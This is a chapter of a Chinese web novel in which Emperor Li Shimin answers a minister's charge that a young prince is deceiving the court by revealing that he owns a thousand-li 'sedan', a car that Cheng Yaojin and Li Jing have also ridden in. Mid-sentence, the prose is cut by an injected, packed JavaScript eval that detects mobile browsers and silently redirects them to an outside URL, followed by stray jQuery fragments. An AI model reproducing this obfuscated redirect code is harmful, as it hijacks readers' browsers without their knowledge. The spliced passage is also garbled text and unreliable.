崔善咬了咬牙,他知道自己已经站在悬崖边上,但话已出口,收不回来了。
他抬起头,迎着李世民的目光。
“陛下圣明,自然不是汉武帝。但臣侍奉三朝,见过太多帝王被方士所惑,被妖言所误的先例!””
“秦始皇求仙,遣徐福率童男童女出海,耗天下财力,结果如何?二世而亡!”
“汉武帝信神,宠李少君、栾大之流,求长生不老药,结果如何?巫蛊之祸,太子枉死,晚景凄凉!”
“前隋炀帝,好祥瑞,信图谶,结果如何?!江都兵变,身死国灭!”
“陛下!臣冒死进言,日行千里之轿,闻所未闻!一个二十出头的年轻人......”
他伸手指向楚天青,手指微微颤抖。
“凭什么让陛下如此信任?!”
“凭什么让陛下信这些荒诞不经之事?!”
“臣斗胆!请陛下三思!”
说完,崔善扑通一声跪倒在地,额头触地,老泪纵横。
他这一跪,殿中群臣面面相觑。
有人暗中点头,觉得崔善说得有理。
毕竟日行千里,确实匪夷所思。
也有人暗自摇头,觉得崔善太过耿直,这话说得太重了,怕是难以收场。
还有人偷偷看向楚天青,想看看这位楚王殿下是什么反应。
毕竟,崔善这一番话,句句都是在说他。
说他妖言惑众,说他荒诞不经,说他蒙蔽圣听。
可楚天青还是那副样子。
半靠在桌案上,手里端着酒杯,眼神迷离。
仿佛这一场关乎他生死的廷议,与他毫无关系。
这份淡定,这份从容,这份“你说你的,我喝我的”的悠然,让不少偷偷观察他的人心中暗暗称奇。
李世民沉默了片刻。
殿中静得能听见烛花爆裂的声音。
片刻后,他笑了。
那是一种让人捉摸不透的笑。
有几分玩味,有几分深意,还有几分......骄傲。
“崔公,你说完了?”
崔善伏在地上,肩膀微微颤抖。
“臣......说完了。”
李世民没有让他起来。
他只是缓缓站起身,走下御阶,一步一步来到殿中央,在崔善面前站定。
“崔公,朕问你,你见过的东西,就是这世上全部的东西吗?”
崔善的身子微微一僵,不知道该如何回答。
“崔公,天青曾说过一句话,叫人无法想象自己没见过的东西。”
李世民低头看着这位伏地不起的老臣。
“朕之前也不信,只因朕没见过。”
“但朕现在信了。”
他微微俯身,声音低了几分,像是只说给崔善一人听。
“不是因为天青说什么,朕就信什么。而是因为......”
李世民直起身,目光扫过满殿群臣。
“朕不但见过,而且......”
他顿了顿,嘴角微微上扬,露出一丝笑意。
“朕还有一辆。”
话音落下,群臣顿时愣住了。
崔善猛地抬起头,满脸泪痕,眼睛里满是难以置信。
“怎么可能?!”
他下意识的脱口而出。
“怎么会有这种东西?!”
“哈哈哈哈哈哈!”
就在这时,一阵大笑突然从群臣中炸开。
程咬金终于憋不住了。
刚刚崔善在那慷慨陈词的时候,他就想站起来骂娘,硬是被旁边的尉迟恭按住了大腿。
现在李世民亲口说出来,他也终于不用再憋了。
“崔公!崔老大人!”
程咬金腾地站起身,大步走到殿中央。
“实话告诉你,楚王殿下那轿子,俺老程也坐过!而且还开过!”
开?
百官听懵了。
这是什么词?
轿子怎么开?
像开门那样开?
还是像开花那样开?
他们还没从这古怪的词里回过神来,又一个声音响起了。
“不错。”
只见李靖站起身,随即走到李世民身侧道。
“楚王殿下的那神物,我也坐过。”
他环顾四周,缓声道。
“日行千里,轻而易举。”
听到这话,崔善的嘴张了张,却发不出声音。
陛下可能被蛊惑
程咬金可能被蒙骗,
但卫国公李靖,当朝军神,用兵如神,一生谨慎。
那样一双看惯了沙场烽火的眼睛,那样一颗算尽了敌我虚实的心,也会被一个二十出头的年轻人糊弄吗?
崔善的手开始发抖。
那是老人特有的一种不受控制的颤抖,但也是内心震撼的体现。
“崔公。”
又一个声音响起。
这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191860|172663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次,是李勣。
他看着崔善道。
“之前陛下前往突厥,次日便回,这件事,你难道没有想过为什么吗?”
听到这话,崔善的身子猛地一僵。
那都是半个月前的事了。
当初李世民突然说要去御驾亲征突厥,把满朝文武吓得够呛。
崔善记得自己当时第一个站出来反对,从周穆王西征讲到隋炀帝三征高句丽,说得口干舌燥。
后来,隔一天的早朝,李世民照常坐在那里,照常议事,照常批折子。
崔善松了口气,以为陛下是打消了这个荒唐的念头,走到半路回来了。
他还暗自庆幸,觉得是自己那一番话起了作用。
可现在李勣说什么?
次日便回?
不是次日便打消念头?
是次日便回?
崔善难以置信的看着李世民。
“陛下那天......真的去了突厥?”
话一出口,他自己都觉得荒谬。
长安到突厥,千里之遥,便是快马加鞭,日夜兼程,也得三五日。
怎么可能一天之内来回?
可偏偏没有人笑。
程咬金没有笑,李靖没有笑,李勣没有笑。
李世民也没有否认。
他只是微微点了点头。
“朕去了,也回了。”
崔善跪在那里,只觉得脑子里有什么东西轰然倒塌。
怎么可能?
这怎么可能!
就在这时,一个声音懒洋洋地响了起来。
“老李。”
崔善猛地抬起头。
是楚天青。
那个年轻人终于放下了酒杯,从桌案后站了起来。
他没有看崔善,只是伸了个懒腰,像是坐久了活动活动筋骨。
“耳听为虚,眼见为实。”
他看向李世民道。
“你那车,也就别宝贝着了,让他们看看吧。”
李世民闻言,微微点了点头。
“也好。”
他的目光扫过满殿群臣,最后落在殿外。。
“君羡。”
李君羡应声出列,抱拳道:“陛下。”
“你去开车吧。”
说完,李世民对百官道。
“来吧,随朕一起去看看那日行千里的神器。”
李世民抬步向殿外走去。
群臣面面相觑,片刻之后,纷纷起身跟上。
......